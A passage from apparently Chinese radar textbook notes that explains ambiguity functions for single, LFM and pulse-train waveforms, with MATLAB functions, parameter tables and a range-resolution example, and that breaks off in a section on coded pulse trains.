<span><span>χ(τ;0)\chi(\tau;0)</span><span><span><span></span><span>χ</span><span>(</span><span>τ</span><span>;</span><span></span><span>0</span><span>)</span></span></span></span>。类似地，沿多普勒轴的截线为</p><span><span><span>∣χ(0;fd)∣2=∣sin⁡πτ0fdπτ0fd∣2|\chi(0;f_d)|^2=|\frac{\sin{\pi\tau_0f_d}}{\pi\tau_0f_d}|^2</span><span><span><span></span><span>∣</span><span>χ</span><span>(</span><span>0</span><span>;</span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>∣</span><span><span></span><span><span><span><span><span><span></span><span><span>π</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>sin</span><span></span><span><span>π</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p>图5.3和图5.4分别给出了由方程（5.14）和方程（5.15）所定义的不确定性函数截线的图形。沿时延轴的零多普勒截线范围为 <span><span>−τ0-\tau_0</span><span><span><span></span><span>−</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 到 <span><span>τ0\tau_0</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。</p><p>沿多普勒频率轴的零时延截线具有 <span><span>(sin⁡x/x)2(\sin{x}/x)^2</span><span><span><span></span><span>(</span><span>sin</span><span></span><span><span>x</span></span><span>/</span><span>x</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span> 的形状。它从 <span><span>−∞-\infty</span><span><span><span></span><span>−</span><span>∞</span></span></span></span> 延伸至 <span><span>∞\infty</span><span><span><span></span><span>∞</span></span></span></span>。第一个零点出现在 <span><span>fd=±1/τ0f_d=\pm1/\tau_0</span><span><span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>±</span><span>1/</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 处。因此，可以不模糊地探测到频移间距为 <span><span>1/τ01/\tau_0</span><span><span><span></span><span>1/</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 的两个目标。我们可得出结论，单个脉冲的距离和多普勒分辨率受脉冲宽度 <span><span>τ0\tau_0</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span> 的限制。精细的距离分辨率要求采用一个很短的脉冲。遗憾的是，采用很短的脉冲需要很大的工作带宽，这可能将雷达平均发射功率限制为不实际的值。</p><p><img alt="" loading="lazy" width="1424" height="859" src="/_astro/image-22-d561884cf694.DDXALRBX_12oo9H.webp" /></p><p><img alt="" loading="lazy" width="1383" height="889" src="/_astro/image-23-1486c5f36bc3.BsQzXEa6_Z26p7xQ.webp" /></p></section><section><h2>MATLAB函数“lfm_ambg.m”<a href="#matlab函数lfm_ambgm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function x = lfm_ambg(taup, b, up_down)</span></div></div><div><div><div>2</div></div><div><span>% Implements Eq. (5.21) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>% taup      == pulsewidth in seconds</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>% b         == bandwidth in Hz</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>% up_down  == 1 to indicate an up-chirp LFM</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>% up_down   == -1 to indicate an down-chirp LFM</span></div></div><div><div><div>9</div></div><div><span>%</span></div></div><div><div><div>10</div></div><div><span>% Output</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>% x         == ambiguity matrix</span></div></div><div><div><div>12</div></div><div><span>%</span></div></div><div><div><div>13</div></div><div><span>eps = 0.000001;</span></div></div><div><div><div>14</div></div><div><span>i = 0;</span></div></div><div><div><div>15</div></div><div><span>mu = up_down * b / taup;</span></div></div><div><div><div>16</div></div><div><span>del = 2*taup/200;</span></div></div><div><div><div>17</div></div><div><span>for tau = -1.*taup:del:taup</span></div></div><div><div><div>18</div></div><div><span><span>   </span></span><span>i = i + 1;</span></div></div><div><div><div>19</div></div><div><span><span>   </span></span><span>j = 0;</span></div></div><div><div><div>20</div></div><div><span><span>   </span></span><span>fd = linspace(-1.5*b,1.5*b,201);</span></div></div><div><div><div>21</div></div><div><span><span>   </span></span><span>val1 = 1. - abs(tau) / taup;</span></div></div><div><div><div>22</div></div><div><span><span>   </span></span><span>val2 = pi * taup * (1.0 - abs(tau) / taup);</span></div></div><div><div><div>23</div></div><div><span><span>   </span></span><span>val3 = (fd + mu * tau);</span></div></div><div><div><div>24</div></div><div><span><span>   </span></span><span>val = val2 * val3;</span></div></div><div><div><div>25</div></div><div><span><span>   </span></span><span>x(:,i) = abs( val1 .* (sin(val+eps)./(val+eps))).^2;</span></div></div><div><div><div>26</div></div><div><span><span>   </span></span><span>end</span></div></div><div><div><div>27</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“lfm_ambg.m”实现方程（5.21）。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>lfm_ambg[taup,b,up_down]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td>taup</td><td>脉冲宽度</td><td>s</td><td>输入</td></tr><tr><td>b</td><td>带宽</td><td>Hz</td><td>输入</td></tr><tr><td>up_down</td><td>升频线性调频脉冲up_down=1<br /><br />降频线性调频脉冲up_down=-1</td><td>无</td><td>输入</td></tr></tbody></table><p>注意，沿多普勒频率轴的LFM模糊函数的截线与单个脉冲的截线相同。不必对此感到惊奇，因为脉冲形状没有改变（我们仅增加了频率调制）。但是，沿时延轴的截线变化很大。与未调制的脉冲截线相比，它现在要窄得多。在这种情况下，第一个零值发生在</p><span><span><span>τn1≈1/B\tau_{n1}\approx1/B</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span><span>n</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>≈</span><span></span></span><span><span></span><span>1/</span><span>B</span></span></span></span></span><p>图5.6给出了对应方程（5.23）的不确定性函数中一条截线的图形。</p><p><img alt="" loading="lazy" width="1386" height="895" src="/_astro/image-24-38abb2f086ef.rBS28Eeb_sesI.webp" /></p><p>方程（5.24）表明匹配滤波器输出的有效脉冲宽度（压缩的脉冲宽度）完全由雷达带宽决定。由此沿时延轴的LFM模糊函数截线比未调制脉冲的截线要窄，其比例因子为</p><span><span><span>ξ=τ0(1/B)=τ0B\xi=\frac{\tau_0}{(1/B)}=\tau_0B</span><span><span><span></span><span>ξ</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>(</span><span>1/</span><span>B</span><span>)</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>B</span></span></span></span></span><p><span><span>ξ\xi</span><span><span><span></span><span>ξ</span></span></span></span>称为压缩比（也称为时间——带宽积和压缩增益）。所有这三个名称均可互换使用，意思相同。如方程（5.25）所示，压缩比也随着雷达带宽的增加而提高。</p><p>例：</p><p>用下列指标计算对应于LFM波形脉冲压缩之前和之后的距离分辨率：带宽B=1GHz，脉冲宽度<span><span>τ0=10ms\tau_0=10ms</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>10</span><span>m</span><span>s</span></span></span></span>。</p><p>解：脉冲压缩之前的距离分辨率为</p><span><span><span>ΔRuncomp=cτ02=3×108×10×10−32=1.5×105m\Delta R_{uncomp}=\frac{c\tau_0}{2}=\frac{3\times10^8\times10\times10^{-3}}{2}=1.5\times10^5m</span><span><span><span></span><span>Δ</span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>u</span><span>n</span><span>co</span><span>m</span><span>p</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>c</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>3</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>8</span></span></span></span></span></span></span></span><span></span><span>×</span><span></span><span>10</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span><span>−</span><span>3</span></span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>1.5</span><span></span><span>×</span><span></span></span><span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>5</span></span></span></span></span></span></span></span><span>m</span></span></span></span></span><p>利用方程（5.24）得</p><span><span><span>τn1=11×109=1ns\tau_{n1}=\frac{1}{1\times10^9}=1ns</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span><span>n</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>1</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>9</span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>1</span><span>n</span><span>s</span></span></span></span></span><span><span><span>ΔRcomp=cτn12=3×108×1×10−92=15cm\Delta R_{comp}=\frac{c\tau_{n1}}{2}=\frac{3\times10^8\times1\times10^{-9}}{2}=15cm</span><span><span><span></span><span>Δ</span><span><span>R</span><span><span><span><span><span><span></span><span><span><span>co</span><span>m</span><span>p</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>c</span><span><span>τ</span><span><span><span><span><span><span></span><span><span><span>n</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span></span></span><span><span></span><span><span>3</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span>8</span></span></span></span></span></span></span></span><span></span><span>×</span><span></span><span>1</span><span></span><span>×</span><span></span><span>1</span><span><span>0</span><span><span><span><span><span><span></span><span><span><span>−</span><span>9</span></span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>15</span><span>c</span><span>m</span></span></span></span></span></section><section><h2>MATLAB函数“train_ambg.m”<a href="#matlab函数train_ambgm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function x = train_ambg(taup, n, pri)</span></div></div><div><div><div>2</div></div><div><span>% This function implements Eq. (5.37) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>% taup      == pulse width in seconds</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>% n         == number of pulses in train</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>% pri       == pulse repetition interval in seconds</span></div></div><div><div><div>8</div></div><div><span>%</span></div></div><div><div><div>9</div></div><div><span>% Outputs</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>% x         == ambiguity matrix</span></div></div><div><div><div>11</div></div><div><span>%</span></div></div><div><div><div>12</div></div><div><span>if (taup &gt;= pri/2)</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>'ERROR. Pulse width must be less than the PRI/2.'</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>return</span></div></div><div><div><div>15</div></div><div><span>end</span></div></div><div><div><div>16</div></div><div><span>eps = 1.0e-6;</span></div></div><div><div><div>17</div></div><div><span>bw = 1/taup;</span></div></div><div><div><div>18</div></div><div><span>q = -(n-1):1:n-1;</span></div></div><div><div><div>19</div></div><div><span>offset = 0:0.031:pri;</span></div></div><div><div><div>20</div></div><div><span>[Q, S] = meshgrid(q, offset);</span></div></div><div><div><div>21</div></div><div><span>Q = reshape(Q, 1, length(q)*length(offset));</span></div></div><div><div><div>22</div></div><div><span>S = reshape(S, 1, length(q)*length(offset));</span></div></div><div><div><div>23</div></div><div><span>tau = (-taup * ones(1,length(S))) + S    ;</span></div></div><div><div><div>24</div></div><div><span>fd = -bw:0.011:bw;</span></div></div><div><div><div>25</div></div><div><span>[T, F] = meshgrid(tau, fd);</span></div></div><div><div><div>26</div></div><div><span>Q = repmat(Q, length(fd), 1);</span></div></div><div><div><div>27</div></div><div><span>S = repmat(S, length(fd), 1);</span></div></div><div><div><div>28</div></div><div><span>N = n * ones(size(T));</span></div></div><div><div><div>29</div></div><div><span>val1 = 1.0-(abs(T))/taup;</span></div></div><div><div><div>30</div></div><div><span>val2 = pi*taup*F.*val1;</span></div></div><div><div><div>31</div></div><div><span>val3 = abs(val1.*sin(val2+eps)./(val2+eps));</span></div></div><div><div><div>32</div></div><div><span>val4 = abs(sin(pi*F.*(N-abs(Q))*pri+eps)./sin(pi*F*pri+eps));</span></div></div><div><div><div>33</div></div><div><span>x = val3.*val4./N;</span></div></div><div><div><div>34</div></div><div><span>[rows, cols] = size(x);</span></div></div><div><div><div>35</div></div><div><span>x = reshape(x, 1, rows*cols);</span></div></div><div><div><div>36</div></div><div><span>T = reshape(T, 1, rows*cols);</span></div></div><div><div><div>37</div></div><div><span>indx = find(abs(T) &gt; taup);</span></div></div><div><div><div>38</div></div><div><span>x(indx) = 0.0;</span></div></div><div><div><div>39</div></div><div><span>x = reshape(x, rows, cols);</span></div></div><div><div><div>40</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“train_ambg.m”实现方程（5.37）。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>train_ambg[taup,n,prt]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>taup</em></td><td>脉冲宽度</td><td>s</td><td>输入</td></tr><tr><td><em>n</em></td><td>串中的脉冲个数</td><td>无</td><td>输入</td></tr><tr><td><em>pri</em></td><td>脉冲重复间隔</td><td>s</td><td>输入</td></tr></tbody></table><p>图5.8（a）和图5.8（b）给出了N=5、<span><span>τ0=0.4\tau_0=0.4</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0.4</span></span></span></span>、T=1时的三维模糊图及相应的等值线图。图5.8（c）和图5.8（d）分别给出了模糊函数中零多普勒和零时延截线图。沿频率轴的模糊函数峰值位于频率f=1/T的整数倍处。沿时延轴的模糊函数峰值的宽度为<span><span>2τ02\tau_0</span><span><span><span></span><span>2</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。沿多普勒轴的峰值宽度为1/(N-1)T。</p><p><img alt="" loading="lazy" width="1389" height="847" src="/_astro/image-25-a7fdbec57ecb.K4RUz1SN_Z1xaYGd.webp" /></p><p><img alt="" loading="lazy" width="1378" height="895" src="/_astro/image-26-2d05844ae6ed.d5apsND4_ih6y8.webp" /></p></section><section><h2>MATLAB函数“train_ambg_lfm.m”<a href="#matlab函数train_ambg_lfmm"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function x = train_ambg_lfm(taup, n, pri, bw)</span></div></div><div><div><div>2</div></div><div><span>% This function implemenst Eq. (5.43) of textbook</span></div></div><div><div><div>3</div></div><div><span>%</span></div></div><div><div><div>4</div></div><div><span>% Inputs</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>% taup      == pulsewidth in seconds</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>% n         == number of pulses in train</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>% pri       == pulse repetition interval in seconds</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>% bw        == the LFM bandwidth in Hz</span></div></div><div><div><div>9</div></div><div><span>%</span></div></div><div><div><div>10</div></div><div><span>%Outputs</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>% x         == array of bimodality function</span></div></div><div><div><div>12</div></div><div><span>%</span></div></div><div><div><div>13</div></div><div><span>if (taup &gt;= pri/2)</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>'ERROR. Pulse width must be less than the PRI/2.'</span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>return</span></div></div><div><div><div>16</div></div><div><span>end</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>eps = 1.0e-6;</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>q = -(n-1):1:n-1;</span></div></div><div><div><div>21</div></div><div><span>offset = 0:0.033:pri;</span></div></div><div><div><div>22</div></div><div><span>[Q, S] = meshgrid(q, offset);</span></div></div><div><div><div>23</div></div><div><span>Q = reshape(Q, 1, length(q)*length(offset));</span></div></div><div><div><div>24</div></div><div><span>S = reshape(S, 1, length(q)*length(offset));</span></div></div><div><div><div>25</div></div><div>
</div></div><div><div><div>26</div></div><div><span>tau = (-taup * ones(1,length(S))) + S ;</span></div></div><div><div><div>27</div></div><div><span>fd = -bw:0.033:bw;</span></div></div><div><div><div>28</div></div><div><span>[T, F] = meshgrid(tau, fd);</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span>Q = repmat(Q, length(fd), 1);</span></div></div><div><div><div>31</div></div><div><span>S = repmat(S, length(fd), 1);</span></div></div><div><div><div>32</div></div><div><span>N = n * ones(size(T));</span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span>val1 = 1.0-(abs(T))/taup;</span></div></div><div><div><div>35</div></div><div><span>val2 = pi*taup*(F+T*(bw/taup)).*val1;</span></div></div><div><div><div>36</div></div><div><span>val3 = abs(val1.*sin(val2+eps)./(val2+eps));</span></div></div><div><div><div>37</div></div><div><span>val4 = abs(sin(pi*F.*(N-abs(Q))*pri+eps)./sin(pi*F*pri+eps));</span></div></div><div><div><div>38</div></div><div><span>x = val3.*val4./N;</span></div></div><div><div><div>39</div></div><div>
</div></div><div><div><div>40</div></div><div><span>[rows, cols] = size(x);</span></div></div><div><div><div>41</div></div><div><span>x = reshape(x, 1, rows*cols);</span></div></div><div><div><div>42</div></div><div><span>T = reshape(T, 1, rows*cols);</span></div></div><div><div><div>43</div></div><div><span>indx = find(abs(T) &gt; taup);</span></div></div><div><div><div>44</div></div><div><span>x(indx) = 0.0;</span></div></div><div><div><div>45</div></div><div><span>x = reshape(x, rows, cols);</span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span>return</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>函数“train_ambg_lfm.m”实现方程（5.43）。语法如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>x=train_ambg_lfm(tap,n,pri,bw)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>其中：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>符号</td><td>说明</td><td>单位</td><td>状态</td></tr><tr><td><em>taup</em></td><td>脉冲宽度</td><td>s</td><td>输入</td></tr><tr><td><em>n</em></td><td>串中的脉冲个数</td><td>无</td><td>输入</td></tr><tr><td><em>pri</em></td><td>脉冲重复间隔</td><td>s</td><td>输入</td></tr><tr><td><em>bw</em></td><td>LFM带宽</td><td>Hz</td><td>输入</td></tr><tr><td><em>x</em></td><td>双峰函数阵列</td><td>无</td><td>输出</td></tr></tbody></table><p>注意，当设“bw”的值为0时，这个函数产生与函数“train_ambg.m”相同的结果。在这种情况下，方程（4.43）与方程（4.35）是一样的。图5.10（a）和图5.10（b）给出了除增加LFM调制及N=3的脉冲以外，其他与前一节中列出势力相同的情况下，其模糊函数图及相应的等值线图。</p><p><img alt="" loading="lazy" width="1428" height="885" src="/_astro/image-27-4b5dd58fb1b2.7wrGU54o_10eXRr.webp" /></p><p><img alt="" loading="lazy" width="1373" height="916" src="/_astro/image-28-9bcb6407e744.R9NiLdFM_4yp2V.webp" /></p></section></section>
<section><h1>六、模糊函数——离散编码波形<a href="#六模糊函数离散编码波形"><span>#</span></a></h1><section><h2>脉冲串编码<a href="#脉冲串编码"><span>#</span></a></h2><p>这类编码背后的想法是将长度为<span><span>TpT_p</span><span><span><span></span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>的较长脉冲分割成N个子脉冲，每个子脉冲是脉宽为<span><span>τ0\tau_0</span><span><span><span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>且幅度为1或0的矩形脉冲。因此编码U是1和0的序列。更精确地说，表示这类编码的信号可写为</p><span><span><span>x(t)=ejω0t∑n=1NPn(t)=ejω0t∑n=1NanRect(tτ0)x(t)=e^{j\omega_0t}\sum^N_{n=1}P_n(t)=e^{j\omega_0t}\sum^N_{n=1}a_nRect(\frac{t}{\tau_0})</span><span><span><span></span><span>x</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span></span></span></span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span>N</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>P</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span></span></span></span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span>N</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>R</span><span>ec</span><span>t</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>t</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span></span><p>一种生成脉冲串类编码的方法是设置</p><span><span><span>an={1n−1=0模q0n−1≠0模qa_n=\begin{cases} 1 &amp;n-1=0 &amp;\text{模}q \\0 &amp;n-1\ne0 &amp;\text{模}q \end{cases}</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span>{</span></span><span><span><span><span><span><span><span><span></span><span><span>1</span></span></span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span>n</span><span></span><span>−</span><span></span><span>1</span><span></span><span>=</span><span></span><span>0</span></span></span><span><span></span><span><span>n</span><span></span><span>−</span><span></span><span>1</span><span></span><span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>=</span></span><span></span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>模</span></span><span>q</span></span></span><span><span></span><span><span><span>模</span></span><span>q</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中q是一个正整数，它将N-1均匀分成q份。也即</p><p>M-1=(N-1)/q</p><p>其中M 是编码中1的个数。例如，当N=21且q=5，那么M=5，因此最终编码为</p><span><span><span>{U}={10000 10000 10000 10000 1}\{U\}=\{ 10000 \text{ }10000 \text{ }10000\text{ }10000\text{ }1\}</span><span><span><span></span><span>{</span><span>U</span><span>}</span><span></span><span>=</span><span></span></span><span><span></span><span>{</span><span>10000</span><span><span> </span></span><span>10000</span><span><span> </span></span><span>10000</span><span><span> </span></span><span>10000</span><span><span> </span></span><span>1</span><span>}</span></span></span></span></span><p>这在图6.1中进行了说明。在前面的章节中，这个编码是用下面的连续时域信号表示的，</p><span><span><span>x1(t)=ejω0t∑m=04Rectt−mTτ0x_1(t)=e^{j\omega_0t}\sum^4_{m=0}Rect{\frac{t-mT}{\tau_0}}</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span></span></span></span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>m</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span>4</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>R</span><span>ec</span><span>t</span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>t</span><span></span><span>−</span><span></span><span>m</span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span></span><p>其中周期为<span><span>T=5τ0T=5\tau_0</span><span><span><span></span><span>T</span><span></span><span>=</span><span></span></span><span><span></span><span>5</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。类似地，得</p><span><span><span>TpM−1≡T\frac{T_p}{M-1}\equiv 